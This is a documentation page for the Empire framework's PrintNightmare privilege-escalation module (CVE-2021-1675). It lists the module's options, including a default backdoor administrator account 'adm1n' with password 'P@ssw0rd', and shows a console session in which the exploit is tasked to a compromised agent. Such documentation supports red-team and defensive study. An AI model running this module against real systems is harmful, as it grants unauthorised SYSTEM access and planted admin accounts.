PrintNightmare - Empire Module


This page contains detailed information about how to use the powershell/privesc/printnightmare Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: PrintNightmare
Module: powershell/privesc/printnightmare
Source code [1]: empire/server/modules/powershell/privesc/printnightmare.yaml
Source code [2]: empire/server/data/module_source/privesc/Invoke-Printnightmare.ps1
MITRE ATT&CK: T1068
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No

The printnightmare module exploits CVE-2021-1675 (PrintNightmare) locally to add a new local administrator user with a known password. Optionally, this can be used to execute your own custom DLL to execute any other code as NT AUTHORITY\SYSTEM.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the printnightmare module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the printnightmare module:

Agent
Agent to run on.

Additional Module Options

This is a list of additional options that are supported by the printnightmare module:

DLL
The DLL to execute when loading the printer driver (default: a builtin payload which creates the specified user, and adds the new user to the local administrators group).

DriverName
The name of the new printer driver to add (default: "Totally Not Malicious").

NewPassword
The password for the new user when using the default DLL (default: "P@ssw0rd").

NewUser
The name of the new user to create when using the default DLL (default: "adm1n").

Printnightmare Example Usage

Here's an example of how to use the printnightmare module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/printnightmare

 Author       @Cx01N                                                                 
 Background   False                                                                  
 Comments     https://github.com/calebstewart/CVE-2021-1675                          
 Description  Exploits CVE-2021-1675 (PrintNightmare) locally to add a new local     
              administrator user with a known password. Optionally, this can be used 
              to execute your own custom DLL to execute any other code as NT         
              AUTHORITY\SYSTEM.                                                      
 Language     powershell                                                             
 Name         powershell/privesc/printnightmare                                      
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1068                               


,Record Options-------,----------,-------------------------------------,
| Name        | Value | Required | Description                         |
|-------------|-------|----------|-------------------------------------|
| Agent       |       | True     | Agent to run on.                    |
|-------------|-------|----------|-------------------------------------|
| DLL         |       | False    | The DLL to execute when loading the |
|             |       |          | printer driver (default: a builtin  |
|             |       |          | payload which creates the specified |
|             |       |          | user, and adds the new user to the  |
|             |       |          | local administrators group).        |
|-------------|-------|----------|-------------------------------------|
| DriverName  |       | False    | The name of the new printer driver  |
|             |       |          | to add (default: "Totally Not       |
|             |       |          | Malicious")                         |
|-------------|-------|----------|-------------------------------------|
| NewPassword |       | False    | The password for the new user when  |
|             |       |          | using the default DLL (default:     |
|             |       |          | "P@ssw0rd")                         |
|-------------|-------|----------|-------------------------------------|
| NewUser     |       | False    | The name of the new user to create  |
|             |       |          | when using the default DLL          |
|             |       |          | (default: "adm1n")                  |
'-------------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/privesc/printnightmare) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/printnightmare) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.